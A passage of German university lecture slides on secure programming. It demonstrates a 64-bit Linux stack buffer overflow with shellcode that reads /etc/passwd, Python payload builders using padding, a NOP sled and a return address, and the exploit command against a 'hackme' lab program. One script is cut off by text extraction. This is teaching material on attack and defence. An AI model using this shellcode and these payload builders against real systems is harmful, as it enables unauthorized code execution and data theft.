       > nasm -f bin un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.bin

 2. Ausgabe des Shellcodes:
       > dumpshellcode.py un1k0d3r -shellcode.bin

Bemerkungen:
 • Das Python Skript befindet sich auf der nächsten Folie.
 • Bei dieser Variante liegt der Shellcode in binärer Form vor und
   kann auf verschiedene Arten weiter verarbeitet werden.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   54 / 72
Buffer Overflows   Shellcode

Skript dumpshellcode.py

#! /usr/bin/env python2

import sys

if len(sys.argv)!=2:
    print "Usage:", sys.argv [0], ""
    sys.exit (1)

f=open(sys.argv [1], "r")
shellcode=bytearray(f.read ())
f.close ()

s=""
for b    in shellcode:
     s   += "\\x{0:02x}".format(b)
print    s
print    "\nShellcode␣length:", len(shellcode), "Byte"

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   55 / 72
Buffer Overflows   Shellcode

Ergebnis

Shellcode:

      \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02
      \x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d
      \x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f
      \x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01
      \x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31
      \xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65
      \x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

Länge: 82 Byte

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   56 / 72
Buffer Overflows   Shellcode

Einbetten des Shellcodes

Probleme:
 • Der Shellcode ist mi 82 Byte zu kurz, um einen Buffer Overflow
    für die lokale Variable buffer zu erzeugen.
 • Der Shellcode enthält keine Sprungadresse und ist somit noch
    nicht einsetzbar.
Ansatz: Entwicklung eines Python Skripts, welches
 • den Shellcode mittels Padding so verlängert, dass ein Buffer
    Overflow auftritt, und
 • am Ende eine passende Rücksprungadresse anfügt, um den
    Shellcode zu starten.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   57 / 72
Buffer Overflows   Shellcode

Skript un1k0d3r-payload.py

#! /usr/bin/ python2
import sys

if len(sys.argv)==3:
    size=int(sys.argv [1])
    if size
Buffer Overflows   Shellcode

Skript un1k0d3r-payload.py (Forts.)

shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02"             \
+ "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24"             \
+ "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f"             \
+ "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0"             \
+ "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff"             \
+ "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"

print shellcode + "A" * size + address

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   59 / 72
Buffer Overflows   Shellcode

Skript un1k0d3r-payload.py – Erläuterungen

 • Das Padding besteht aus einer Folge von As.
 • Die Länge des Paddings und die Rücksprungadresse wird über
   die Kommandozeile als Parameter übergeben.
 • Die Adresse wird als hexadezimaler String übergeben und in das
   Little Endian Format konvertiert.
 • Das Ergebnis wird auf der Konsole ausgegeben und kann direkt
   als Eingabe für andere Programme verwendet werden.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   60 / 72
Buffer Overflows   Shellcode

Berechnen der Länge des Paddings

 • Die Länge des Paddings hängt ab von:
     ▷ Länge des Shellcodes
     ▷ Größe des zu überflutenden Buffers
     ▷ Anzahl und Position der lokalen Variablen im aktuellen
        Stack Frame
 • Oft kann man die exakte Länge des Paddings nicht berechnen,
   da die benötigten Informationen nicht bekannt sind.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   61 / 72
Buffer Overflows   Shellcode

Beispiel: Berechnung des Paddings für hackme
 • Im 64-Bit Linux bestehen die Speicheradressen eines Prozesses
   aus 6 Byte.
 • Unter Einsatz des GDB und des printA Skripts wird die Länge
   des Strings ermittelt, der die gespeicherte Rücksprungadresse im
   Stack Frame überschreibt. Die Länge ist 222 Byte.
 • Die Länge des Paddings wird wie folgt berechnet:

                    Padding = 222 − Länge Shellcode − Länge Adresse
                            = 222 − 82 − 6
                            = 134

 • Da die Adresse von buffer von der Länge des übergebenen
   Strings abhängt, muss das Skript entsprechend angepasst
   werden.
 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   62 / 72
Buffer Overflows   Shellcode

Bemerkungen zu un1k0d3r-payload.py

 • Um den Shellcode erfolgreich auszuführen, müssen die Größe des
   Paddings und die Rücksprungadresse aufeinander abgestimmt
   werden.
 • Enthält die Rücksprungadresse ein oder mehrere Null-Bytes,
   dann ist der Shellcode nicht funktionsfähig.
 • Anpassung des Python Skripts:
     ▷ Einsatz eines NOP-Sleds (Folge von NOP Befehlen) zur
       flexibleren Wahl der Rücksprungadresse
     ▷ Padding durch wiederholtes Schreiben der
       Rücksprungadresse

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   63 / 72
Buffer Overflows   Shellcode

Aufbau des erzeugten Datenblocks

Der erweiterte Shellcode hat folgenden Aufbau:

          NOP-Sled                   Shell Code                Adresse         Adresse

Bemerkung: Die Adresse liegt irgendwo“ im NOP-Sled.
                            ”

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung             Buffer Overflows   64 / 72
Buffer Overflows   Shellcode

Anpassung des Skripts un1k0d3r-payload.py

 • Die Rücksprungadresse wird über die Kommandozeile festgelegt.
 • Dem Shellcode wird eine Folge von NOPs vorangestellt, deren
   Länge über die Kommandozeile angegeben wird.
 • Die Länge des NOP Sleds wird bei der Berechnung des Paddings
   berücksichtigt.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   65 / 72
Buffer Overflows   Shellcode

Skript un1k0d3r-payload-v2.py
#! /usr/bin/ python2
import sys

if len(sys.argv)==4:
    address=sys.argv [1]. decode("hex")
    address=address [:: -1]
    padding_size = int(sys.argv [2])
    nop_size = int (sys.argv [3])
else:
    print "Usage:", sys.argv [0], "address␣padding_size␣nop_size"
    sys.exit (1)

shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02"             \
+ "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24"             \
+ "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f"             \
+ "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0"             \
+ "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff"             \
+ "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"

print "\x90" * nop_size + shellcode + "A" * (padding_size -nop_size)
    \
        + address
 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   66 / 72
Buffer Overflows   Shellcode

Ausführen des Exploits

Annahmen:
 • Länge des Paddings: 134 Byte
 • Adresse von buffer: 7fffffffdd00
Befehl:
 > ./ hackme $(./ un1k0d3r -payload -v2.py 7fffffffdd01 134 1)

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   67 / 72
Zusammenfassung

Zusammenfassung

 • Durch fehlerhafte Programmierung entstehen Schwachstellen in
   C-Programmen.
 • Ein Klassiker“ ist die inkorrekte Nutzung von strcpy, um
       ”
   Strings zu kopieren.
 • Über eine derartige Schwachstelle kann ein Buffer Overflow
   ausgeführt werden, um Schadkode auszuführen.
 • Moderne Betriebssysteme verfügen über zahlreiche
   Schutzmechanismen gegen Buffer Overflows wie z.B. ASLR.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   68 / 72
Literatur

Literatur I

[Cha16]          Ryan A. Chapman. Linux System Call Table for x86_64.
                 2016. url:
                 http://blog.rchapman.org/post/36801038863/linux-
                 system-call-table-for-x86-64 (besucht am
                 18. 08. 2016).
[GDB13]          GDB Developers, Hrsg. GDB: The GNU Debugger. GNU’s
                 Not Unix. 26. Nov. 2013. url:
                 https://www.gnu.org/software/gdb/documentation
                 (besucht am 22. 08. 2016).
[Hai13]          Marc Haisenko. GDB Cheatsheet. 2013. url:
                 http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
                 (besucht am 18. 08. 2016).

 Prof. Dr. C. Karg (HS Aalen)   Sichere Programmierung   Buffer Overflows   69 / 72
Literatur

Literatur II
[Hub+13]         Jan Hubička u. a. System V Application Binary Interface.
                 AMD64 Architecture Processor Supplement. Intel. 17. Juni
                 2013. url: https://software.intel.com/sites/
                 default/files/article/402129/mpx-linux64-abi.pdf
                 (besucht am 18. 08. 2016).
[Int17]          Intel, Hrsg. Intel 64 and IA-32 Architectures Software
                 Developer Manuals. 2017. url: http://www.intel.com/
                 content/www/us/en/processors/architectures-
                 software-developer-manuals.html (besucht am
                 20. 11. 2017).
[Nar07]          Ram Narayan. Linux assemblers: A comparison of GAS and
                 NASM. IBM. 17. Okt. 2007. url: http:
                 //www.ibm.com/developerworks/library/l-gas-nasm
                 (besucht am 22. 08. 2016).

 Prof. Dr. C. Karg (HS Aalen)    Sichere Programmierung    Buffer Overflows   70 / 72
Literatur

Literatur III
[One96]          Aleph One. Smashing The Stack For Fun And Profit.
                 Phrack.org. 1996. url:
                 http://phrack.org/issues/49/14.html#article
                 (besucht am 22. 11. 2016).
[San97a]         Santa Cruz Operation, Hrsg. System V Application Binary
                 Interface. 18. März 1997. url:
                 http://www.sco.com/developers/devspecs/gabi41.pdf
                 (besucht am 18. 08. 2016).
[San97b]         Santa Cruz Operation, Hrsg. System V Application Binary
                 Interface Intel836 Architecture Processor Supplement.
                 19. März 1997. url: http:
                 //www.sco.com/developers/devspecs/abi386-4.pdf
                 (besucht am 18. 08. 2016).

 Prof. Dr. C. Karg (HS Aalen)    Sichere Programmierung     Buffer Overflows   71 / 72
Literatur

Literatur IV

[SPS10]          Richard Stallman, Roland Pesch und Stan Shebs. Debugging
                 with GDB. 2010. url: http://sourceware.org/gdb/
                 current/onlinedocs/gdb.pdf.gz (besucht am
                 22. 08. 2016).
[Un114]          Mr. Un1K0d3r. 64 Bits Linux Stack Based Buffer Overflow.
                 RingZer0 Team. 2014. url:
                 https://www.exploit-db.com/docs/33698.pdf (besucht
                 am 22. 11. 2016).

 Prof. Dr. C. Karg (HS Aalen)    Sichere Programmierung    Buffer Overflows   72 / 72
Sie können auch lesen